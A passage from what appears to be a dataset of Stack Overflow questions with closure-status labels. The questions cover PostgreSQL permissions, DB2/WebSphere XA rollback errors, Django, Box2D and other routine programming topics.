student std1; // Not valid. It should be: struct student std1;
struct student std2; // Valid.
number n1 = ODD; // Not valid.
enum number n2 = EVEN; // Valid.
}
I want to develope an application using ANSI C 89 and my question is:
What is the difference between ANSI C 89 and C that supports by C++?
| 1 |
11,203,254 | 06/26/2012 08:14:52 | 155,077 | 08/12/2009 13:22:25 | 5,676 | 261 | How to create a read-only user in PostGreSQL ? | Question:
I want to create a read-only user in PostGreSQL.
The intention is to have a publicly accessible data explorer, where users can write custom SQL queries.
I do this to create the user:
CREATE USER MyReadOnlyUser WITH ENCRYPTED PASSWORD 'MY_WEAK_PASSWORD';
GRANT ALL PRIVILEGES ON DATABASE "MY_DB_NAME" to MyReadOnlyUser;
GRANT ALL ON SCHEMA public TO MyReadOnlyUser;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO MyReadOnlyUser;
The intention is to give the user SELECT access to all tables, then revoke select access on the sensitive tables, and then the user can run custom queries with that db user, without any need for me to sanitize input.
Especially, he may not:
insert, delete, drop database, see stored procedure / functions sources & table column definitions.
Sooo - now my question:<br />
Why does this user have access to information_schema ? <br />
It wasn't granted access to any views... | sql | postgresql | postgresql-9.1 | postgresql-8.4 | postgresql-9.0 | null | open | How to create a read-only user in PostGreSQL ?
===
Question:
I want to create a read-only user in PostGreSQL.
The intention is to have a publicly accessible data explorer, where users can write custom SQL queries.
I do this to create the user:
CREATE USER MyReadOnlyUser WITH ENCRYPTED PASSWORD 'MY_WEAK_PASSWORD';
GRANT ALL PRIVILEGES ON DATABASE "MY_DB_NAME" to MyReadOnlyUser;
GRANT ALL ON SCHEMA public TO MyReadOnlyUser;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO MyReadOnlyUser;
The intention is to give the user SELECT access to all tables, then revoke select access on the sensitive tables, and then the user can run custom queries with that db user, without any need for me to sanitize input.
Especially, he may not:
insert, delete, drop database, see stored procedure / functions sources & table column definitions.
Sooo - now my question:<br />
Why does this user have access to information_schema ? <br />
It wasn't granted access to any views... | 0 |
4,761,921 | 01/21/2011 17:34:15 | 584,791 | 01/21/2011 17:34:15 | 1 | 0 | Cross browse css testing | I have a strange problem with a site I am working on for a client. The problem concerns layout on a few pages, and while for all the browsers and machines I have tested it on it seem oks, the client gets a handful of customers a day (mainly Xp/IE6 users) for who the site is missing buttons.
Are any of you guys are able to help with some testing, assuming you have access to XP and Win 7 and all browsers .. be very happy to compensate for your time, this problem needs to be solved and i need ALL the help I can get!
| html | css | design | null | null | 01/22/2011 10:29:38 | not a real question | Cross browse css testing
===
I have a strange problem with a site I am working on for a client. The problem concerns layout on a few pages, and while for all the browsers and machines I have tested it on it seem oks, the client gets a handful of customers a day (mainly Xp/IE6 users) for who the site is missing buttons.
Are any of you guys are able to help with some testing, assuming you have access to XP and Win 7 and all browsers .. be very happy to compensate for your time, this problem needs to be solved and i need ALL the help I can get!
| 1 |
5,335,449 | 03/17/2011 06:00:11 | 500,420 | 11/08/2010 07:29:29 | 202 | 36 | what is the proper way to call get request with passing json request parameter? | I want to call http request using get method with passing json parameter to get request call.so what will be the proper way to call http get method with passing json request.
Thanks in andvance. | android | http | http-headers | null | null | null | open | what is the proper way to call get request with passing json request parameter?
===
I want to call http request using get method with passing json parameter to get request call.so what will be the proper way to call http get method with passing json request.
Thanks in andvance. | 0 |
4,563,193 | 12/30/2010 14:03:32 | 156,198 | 08/14/2009 00:57:35 | 219 | 6 | Hidden Windows shortcuts | Anyone know where I can find a list of the different hidden shortcuts built into windows like "control userpasswords2".
I'm building a small app that will help my team get to those buried panels such as the pagefile settings, IE's proxy settings, Editing the Boot.ini
***I am not talking about shortcut keys like ctrl+alt+del. But commands you can put into the run dialog.
Thank you | windows | shortcuts | null | null | null | 12/30/2010 14:08:00 | not a real question | Hidden Windows shortcuts
===
Anyone know where I can find a list of the different hidden shortcuts built into windows like "control userpasswords2".
I'm building a small app that will help my team get to those buried panels such as the pagefile settings, IE's proxy settings, Editing the Boot.ini
***I am not talking about shortcut keys like ctrl+alt+del. But commands you can put into the run dialog.
Thank you | 1 |
7,868,391 | 10/23/2011 18:57:21 | 1,009,840 | 10/23/2011 18:52:26 | 1 | 0 | How to rechange the name of javaw.exe | I renamed javaw.exe. I started up minecraft and I get this error:
Launch4j
The registry refers to a nonexistent Java Runtime Environment installation or the runtime is corrupted.
Thes system cannot find the path specified.
How do I rename Javaw.exe??? | java | minecraft | launch4j | javaw | null | 10/23/2011 19:09:38 | off topic | How to rechange the name of javaw.exe
===
I renamed javaw.exe. I started up minecraft and I get this error:
Launch4j
The registry refers to a nonexistent Java Runtime Environment installation or the runtime is corrupted.
Thes system cannot find the path specified.
How do I rename Javaw.exe??? | 2 |
9,721,812 | 03/15/2012 14:28:29 | 1,230,856 | 02/24/2012 13:32:02 | 1 | 0 | factoring in java | im really new in java and my teacher gave me a difficult problem FOR ME :) about factoring
and here i what my teacher wants the code looks like
**sample input**
5
1
10
8
231
**sample output**
5
not applicable
2 5
2 2 2
3 7 11
**Input format**
the input consist of one or more lines with each line consisting of a positive integer
**output format**
for each lines the output consist of a list of all prime factors separated by a single space the list of prime space the list of a prime factors should be ordered in increasing manner.if the input is less than 2 output the message not applicable..
thank in advance :)
| java | javascript | null | null | null | 03/15/2012 15:08:49 | not a real question | factoring in java
===
im really new in java and my teacher gave me a difficult problem FOR ME :) about factoring
and here i what my teacher wants the code looks like
**sample input**
5
1
10
8
231
**sample output**
5
not applicable
2 5
2 2 2
3 7 11
**Input format**
the input consist of one or more lines with each line consisting of a positive integer
**output format**
for each lines the output consist of a list of all prime factors separated by a single space the list of prime space the list of a prime factors should be ordered in increasing manner.if the input is less than 2 output the message not applicable..
thank in advance :)
| 1 |
10,293,553 | 04/24/2012 07:28:42 | 702,033 | 04/11/2011 11:13:44 | 352 | 2 | How often do you use CoreGraphic and CoreAnimation in a normal application? | I know CG and CA are two major visual framework. I know that matering these two framework is quite important. But I wonder how many of you or how often do you need to use these two framework instead of UIKit stuff.
Currently, I'm not very familiar with CG and CA.
For drawing, I use basically only UIKit or it's classes built-in drawInRect like methods and set some CALayer's property like cornerRadius.
For Animation, I use UIKit's default animation or some option provided by UIKit or setting some animatable property in UIView's animation blocks.
I found these approach can fulfill most of my need.
So , what about you? Maybe you can provide my more motive to learn CG and CA. | uikit | core-animation | core-graphics | null | null | 04/25/2012 08:53:10 | not constructive | How often do you use CoreGraphic and CoreAnimation in a normal application?
===
I know CG and CA are two major visual framework. I know that matering these two framework is quite important. But I wonder how many of you or how often do you need to use these two framework instead of UIKit stuff.
Currently, I'm not very familiar with CG and CA.
For drawing, I use basically only UIKit or it's classes built-in drawInRect like methods and set some CALayer's property like cornerRadius.
For Animation, I use UIKit's default animation or some option provided by UIKit or setting some animatable property in UIView's animation blocks.
I found these approach can fulfill most of my need.
So , what about you? Maybe you can provide my more motive to learn CG and CA. | 4 |
5,600,111 | 04/08/2011 19:50:10 | 663,161 | 03/16/2011 19:39:30 | 1 | 0 | how can I make sure my progam is working successfully in kernal mode? | how can I make sure my progam is working successfully in kernal mode or level in driver programming?
And how I can use this program if there is any program need to use?
Pls answer ASAP, I am waiting........ . | c++ | c | kernel-programming | kernel-mode | null | 04/08/2011 20:13:41 | not a real question | how can I make sure my progam is working successfully in kernal mode?
===
how can I make sure my progam is working successfully in kernal mode or level in driver programming?
And how I can use this program if there is any program need to use?
Pls answer ASAP, I am waiting........ . | 1 |
11,745,407 | 07/31/2012 17:08:24 | 1,297,972 | 03/28/2012 11:00:50 | 1 | 0 | Trying to specify a template name when using ListView in django | Is there any way to specify the template file to render with when you are using a generic ListView Class?
I've defined a ClassView:
class ListMyClass(ListView):
....
And i'm trying to use a different template name instead the default "myclass_list.html", something like this:
url(r'^$', ListTreasures.as_view(template_name="myTemplate.html"), name='list-myclass' ),
Thank you | django | null | null | null | null | 08/01/2012 14:58:03 | not a real question | Trying to specify a template name when using ListView in django
===
Is there any way to specify the template file to render with when you are using a generic ListView Class?
I've defined a ClassView:
class ListMyClass(ListView):
....
And i'm trying to use a different template name instead the default "myclass_list.html", something like this:
url(r'^$', ListTreasures.as_view(template_name="myTemplate.html"), name='list-myclass' ),
Thank you | 1 |
13,786 | 08/17/2008 18:15:14 | 184 | 08/03/2008 05:34:19 | 290 | 4 | Sould we support IE6 anymore? | Are we supposed to find workarounds in our web applications so that they will work in every situation? Is it time to do away with IE6 programming? | internet | internet-explorer-6 | internet-explorer | null | null | 12/15/2011 05:04:33 | not constructive | Sould we support IE6 anymore?
===
Are we supposed to find workarounds in our web applications so that they will work in every situation? Is it time to do away with IE6 programming? | 4 |
4,114,188 | 11/06/2010 17:19:47 | 325,418 | 05/09/2009 15:50:29 | 8,494 | 280 | In Ruby, is scan() the only function that can return multiple results of regular expression matching? | Just to know more methods that can accomplish the same thing. | ruby | null | null | null | null | null | open | In Ruby, is scan() the only function that can return multiple results of regular expression matching?
===
Just to know more methods that can accomplish the same thing. | 0 |
6,942,414 | 08/04/2011 13:35:25 | 878,688 | 08/04/2011 13:35:25 | 1 | 0 | I want to code my own XML parser in C | As said in the title I want to write my own XML parser in C. But i have no idea how to begin writting it. What kind of parsing technique should I be using ? Do you know any XML parser in C free source code in which i can take a look at ? | c | xml | parsing | null | null | 08/04/2011 13:55:29 | not a real question | I want to code my own XML parser in C
===
As said in the title I want to write my own XML parser in C. But i have no idea how to begin writting it. What kind of parsing technique should I be using ? Do you know any XML parser in C free source code in which i can take a look at ? | 1 |
9,826,400 | 03/22/2012 16:21:34 | 462,203 | 09/29/2010 20:06:13 | 63 | 0 | XAException : 2-Phase commit Rollback failing due to XA Exception | Ok a seemingly simple implementaton of 2-Phase commit is running into issues.
My setup is 2 databases on a DB2 server,an application hosted on Websphere 6.1. Transaction Management handled by Atomikos. Database connection through jndi. I begin the UserTransaction, execute an update on DB1, lose connection to the DBs while update to DB2 to get a *StaleConnectionException* which invokes a rollback. Now ideally, the TM should execute rollback for the transaction. However, I get an XAException as below:
[3/22/12 11:52:21:022 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_0.txt
[3/22/12 11:52:21:053 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_0.txt
[3/22/12 11:52:21:053 EDT] 00000023 WSRdbXaResour E DSRA0304E: XAException occurred. XAException contents and details are:
The DB2 Error message is : [jcc][t4][10335][11391][3.53.70] Invalid operation: Connection is closed. ERRORCODE=-4470, SQLSTATE=08003
The DB2 Error code is : -4470
The DB2 SQLState is : 08003
.
[3/22/12 11:52:21:053 EDT] 00000023 WSRdbXaResour E DSRA0302E: XAException occurred. Error code is: XAER_RMFAIL (-7). Exception is: [jcc][t4][10401][12066][3.53.70] XA exception: XAER_RMFAIL : [jcc][t4][10335][11391][3.53.70] Invalid operation: Connection is closed. ERRORCODE=-4470, SQLSTATE=08003 ERRORCODE=-4228, SQLSTATE=null
[3/22/12 11:52:21:085 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_1.txt
[3/22/12 11:52:21:100 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_1.txt
[3/22/12 11:52:21:116 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_2.txt
[3/22/12 11:52:21:163 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_2.txt
[3/22/12 11:52:21:194 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_3.txt
[3/22/12 11:52:21:225 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_3.txt
[3/22/12 11:52:21:256 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_4.txt
[3/22/12 11:52:21:288 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_4.txt
[3/22/12 11:52:21:288 EDT] 00000023 WSRdbXaResour E DSRA0304E: XAException occurred. XAException contents and details are:
The DB2 Error message is : [jcc][t4][2030][11211][3.53.70] A communication error occurred during operations on the connection's underlying socket, socket input stream,
or socket output stream. Error location: T4Agent.sendRequest(). Message: Connection reset by peer: socket write error. ERRORCODE=-4499, SQLSTATE=08001
The DB2 Error code is : -4499
The DB2 SQLState is : 08001
.
[3/22/12 11:52:21:288 EDT] 00000023 WSRdbXaResour E DSRA0302E: XAException occurred. Error code is: XA_RETRY (4). Exception is: [jcc][t4][10401][12066][3.53.70] XA exception: XA_RETRY : [jcc][t4][2030][11211][3.53.70] A communication error occurred during operations on the connection's underlying socket, socket input stream,
or socket output stream. Error location: T4Agent.sendRequest(). Message: Connection reset by peer: socket write error. ERRORCODE=-4499, SQLSTATE=08001 ERRORCODE=-4228, SQLSTATE=null
[3/22/12 11:52:21:288 EDT] 00000023 ConnectionEve A J2CA0056I: The Connection Manager received a fatal connection error from the Resource Adapter for resource jdbc/myDatasource1. The exception which was received is com.ibm.db2.jcc.b.po: [jcc][t4][10401][12066][3.53.70] XA exception: XA_RETRY : [jcc][t4][2030][11211][3.53.70] A communication error occurred during operations on the connection's underlying socket, socket input stream,
or socket output stream. Error location: T4Agent.sendRequest(). Message: Connection reset by peer: socket write error. ERRORCODE=-4499, SQLSTATE=08001 ERRORCODE=-4228, SQLSTATE=null:com.ibm.db2.jcc.b.tn: [jcc][t4][2030][11211][3.53.70] A communication error occurred during operations on the connection's underlying socket, socket input stream,
or socket output stream. Error location: T4Agent.sendRequest(). Message: Connection reset by peer: socket write error. ERRORCODE=-4499, SQLSTATE=08001:java.net.SocketException: Connection reset by peer: socket write error
[3/22/12 11:52:21:319 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_5.txt
[3/22/12 11:52:21:335 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_5.txt
[3/22/12 11:52:21:350 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_6.txt
[3/22/12 11:52:21:397 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_6.txt
[3/22/12 11:52:21:413 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_7.txt
[3/22/12 11:52:21:444 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_7.txt
[3/22/12 11:52:21:522 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_8.txt
[3/22/12 11:52:21:553 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_8.txt
[3/22/12 11:53:16:804 EDT] 00000023 SystemOut O Transaction Failed
[3/22/12 11:53:21:522 EDT] 0000000f InternalDB2Un I DSRA8203I: Database product name : DB2/NT
[3/22/12 11:53:21:522 EDT] 0000000f InternalDB2Un I DSRA8204I: Database product version : SQL09056
[3/22/12 11:53:21:522 EDT] 0000000f InternalDB2Un I DSRA8205I: JDBC driver name : IBM DB2 JDBC Universal Driver Architecture
[3/22/12 11:53:21:522 EDT] 0000000f InternalDB2Un I DSRA8206I: JDBC driver version : 3.53.70
[3/22/12 11:53:21:522 EDT] 0000000f InternalDB2Un I DSRA8212I: DataStoreHelper name is: com.ibm.websphere.rsadapter.DB2UniversalDataStoreHelper@150a150a.
[3/22/12 11:53:21:522 EDT] 0000000f WSRdbDataSour I DSRA8208I: JDBC driver type : 4
[3/22/12 11:53:21:585 EDT] 0000000f WSRdbXaResour E DSRA0304E: XAException occurred. XAException contents and details are: "".
[3/22/12 11:53:21:585 EDT] 0000000f WSRdbXaResour E DSRA0302E: XAException occurred. Error code is: XAER_NOTA (-4). Exception is: [jcc][t4][10401][12066][3.53.70] XA exception: XAER_NOTA ERRORCODE=-4228, SQLSTATE=null
The DB1 table on which update was performed get LOCKED after this. I have tried the following till now but still unable to perform rollback:
1. query is using uncommited reads ('ur')
2. Connection auto commit is set to false and IsolationLevel to *TRANSACTION_READ_UNCOMMITTED*
3. Increased the various timeout values for Datasource and Transaction Service.
4. Connection pool minimum connections set to 0, Purge Policy: EntirePool
5. *StaleConnectionException* is being caught and UserTransaction.rollback() called from the catch block.
How do i use 2-phase commit and XAtransactions to recover from a DB crash?
Any pointers to what should be done for this? | java-ee | transactions | db2 | websphere | 2phase-commit | null | open | XAException : 2-Phase commit Rollback failing due to XA Exception
===
Ok a seemingly simple implementaton of 2-Phase commit is running into issues.
My setup is 2 databases on a DB2 server,an application hosted on Websphere 6.1. Transaction Management handled by Atomikos. Database connection through jndi. I begin the UserTransaction, execute an update on DB1, lose connection to the DBs while update to DB2 to get a *StaleConnectionException* which invokes a rollback. Now ideally, the TM should execute rollback for the transaction. However, I get an XAException as below:
[3/22/12 11:52:21:022 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_0.txt
[3/22/12 11:52:21:053 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_0.txt
[3/22/12 11:52:21:053 EDT] 00000023 WSRdbXaResour E DSRA0304E: XAException occurred. XAException contents and details are:
The DB2 Error message is : [jcc][t4][10335][11391][3.53.70] Invalid operation: Connection is closed. ERRORCODE=-4470, SQLSTATE=08003
The DB2 Error code is : -4470
The DB2 SQLState is : 08003
.
[3/22/12 11:52:21:053 EDT] 00000023 WSRdbXaResour E DSRA0302E: XAException occurred. Error code is: XAER_RMFAIL (-7). Exception is: [jcc][t4][10401][12066][3.53.70] XA exception: XAER_RMFAIL : [jcc][t4][10335][11391][3.53.70] Invalid operation: Connection is closed. ERRORCODE=-4470, SQLSTATE=08003 ERRORCODE=-4228, SQLSTATE=null
[3/22/12 11:52:21:085 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_1.txt
[3/22/12 11:52:21:100 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_1.txt
[3/22/12 11:52:21:116 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_2.txt
[3/22/12 11:52:21:163 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_2.txt
[3/22/12 11:52:21:194 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_3.txt
[3/22/12 11:52:21:225 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_3.txt
[3/22/12 11:52:21:256 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_4.txt
[3/22/12 11:52:21:288 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_4.txt
[3/22/12 11:52:21:288 EDT] 00000023 WSRdbXaResour E DSRA0304E: XAException occurred. XAException contents and details are:
The DB2 Error message is : [jcc][t4][2030][11211][3.53.70] A communication error occurred during operations on the connection's underlying socket, socket input stream,
or socket output stream. Error location: T4Agent.sendRequest(). Message: Connection reset by peer: socket write error. ERRORCODE=-4499, SQLSTATE=08001
The DB2 Error code is : -4499
The DB2 SQLState is : 08001
.
[3/22/12 11:52:21:288 EDT] 00000023 WSRdbXaResour E DSRA0302E: XAException occurred. Error code is: XA_RETRY (4). Exception is: [jcc][t4][10401][12066][3.53.70] XA exception: XA_RETRY : [jcc][t4][2030][11211][3.53.70] A communication error occurred during operations on the connection's underlying socket, socket input stream,
or socket output stream. Error location: T4Agent.sendRequest(). Message: Connection reset by peer: socket write error. ERRORCODE=-4499, SQLSTATE=08001 ERRORCODE=-4228, SQLSTATE=null
[3/22/12 11:52:21:288 EDT] 00000023 ConnectionEve A J2CA0056I: The Connection Manager received a fatal connection error from the Resource Adapter for resource jdbc/myDatasource1. The exception which was received is com.ibm.db2.jcc.b.po: [jcc][t4][10401][12066][3.53.70] XA exception: XA_RETRY : [jcc][t4][2030][11211][3.53.70] A communication error occurred during operations on the connection's underlying socket, socket input stream,
or socket output stream. Error location: T4Agent.sendRequest(). Message: Connection reset by peer: socket write error. ERRORCODE=-4499, SQLSTATE=08001 ERRORCODE=-4228, SQLSTATE=null:com.ibm.db2.jcc.b.tn: [jcc][t4][2030][11211][3.53.70] A communication error occurred during operations on the connection's underlying socket, socket input stream,
or socket output stream. Error location: T4Agent.sendRequest(). Message: Connection reset by peer: socket write error. ERRORCODE=-4499, SQLSTATE=08001:java.net.SocketException: Connection reset by peer: socket write error
[3/22/12 11:52:21:319 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_5.txt
[3/22/12 11:52:21:335 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_5.txt
[3/22/12 11:52:21:350 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_6.txt
[3/22/12 11:52:21:397 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_6.txt
[3/22/12 11:52:21:413 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_7.txt
[3/22/12 11:52:21:444 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_7.txt
[3/22/12 11:52:21:522 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl open FFDC0009I: FFDC opened incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_8.txt
[3/22/12 11:52:21:553 EDT] 00000023 ServiceLogger I com.ibm.ws.ffdc.IncidentStreamImpl resetIncidentStream FFDC0010I: FFDC closed incident stream file C:\Program Files\IBM\SDP\runtimes\base_v61\profiles\was61profile1\logs\ffdc\server1_00000023_12.03.22_11.52.21_8.txt
[3/22/12 11:53:16:804 EDT] 00000023 SystemOut O Transaction Failed
[3/22/12 11:53:21:522 EDT] 0000000f InternalDB2Un I DSRA8203I: Database product name : DB2/NT
[3/22/12 11:53:21:522 EDT] 0000000f InternalDB2Un I DSRA8204I: Database product version : SQL09056
[3/22/12 11:53:21:522 EDT] 0000000f InternalDB2Un I DSRA8205I: JDBC driver name : IBM DB2 JDBC Universal Driver Architecture
[3/22/12 11:53:21:522 EDT] 0000000f InternalDB2Un I DSRA8206I: JDBC driver version : 3.53.70
[3/22/12 11:53:21:522 EDT] 0000000f InternalDB2Un I DSRA8212I: DataStoreHelper name is: com.ibm.websphere.rsadapter.DB2UniversalDataStoreHelper@150a150a.
[3/22/12 11:53:21:522 EDT] 0000000f WSRdbDataSour I DSRA8208I: JDBC driver type : 4
[3/22/12 11:53:21:585 EDT] 0000000f WSRdbXaResour E DSRA0304E: XAException occurred. XAException contents and details are: "".
[3/22/12 11:53:21:585 EDT] 0000000f WSRdbXaResour E DSRA0302E: XAException occurred. Error code is: XAER_NOTA (-4). Exception is: [jcc][t4][10401][12066][3.53.70] XA exception: XAER_NOTA ERRORCODE=-4228, SQLSTATE=null
The DB1 table on which update was performed get LOCKED after this. I have tried the following till now but still unable to perform rollback:
1. query is using uncommited reads ('ur')
2. Connection auto commit is set to false and IsolationLevel to *TRANSACTION_READ_UNCOMMITTED*
3. Increased the various timeout values for Datasource and Transaction Service.
4. Connection pool minimum connections set to 0, Purge Policy: EntirePool
5. *StaleConnectionException* is being caught and UserTransaction.rollback() called from the catch block.
How do i use 2-phase commit and XAtransactions to recover from a DB crash?
Any pointers to what should be done for this? | 0 |
11,425,135 | 07/11/2012 03:31:23 | 244,843 | 01/06/2010 15:55:14 | 263 | 3 | box2d apply driving force and drag force | I want to make a circle move when the user applies a force(presses an arrow key), and also apply a drag force that is proportional to the speed of the circle. I've tried to do that:
var f = circle.GetLinearVelocity();
f.Multiply(-0.1);
circle.ApplyForce(f, circle.GetPosition());
f = new b2Vec2(leftRight*circle.GetMass(), upDown*circle.GetMass());
circle.ApplyForce(f, circle.GetPosition());
world.Step(1/60, 8, 3);
This does not work. It appears as though the forces on the ball are accumulating. I have tried applying a sum of the forces, and I have tried using ApplyImpulse instead, but have had no luck. Is there a proper way of accomplishing this?
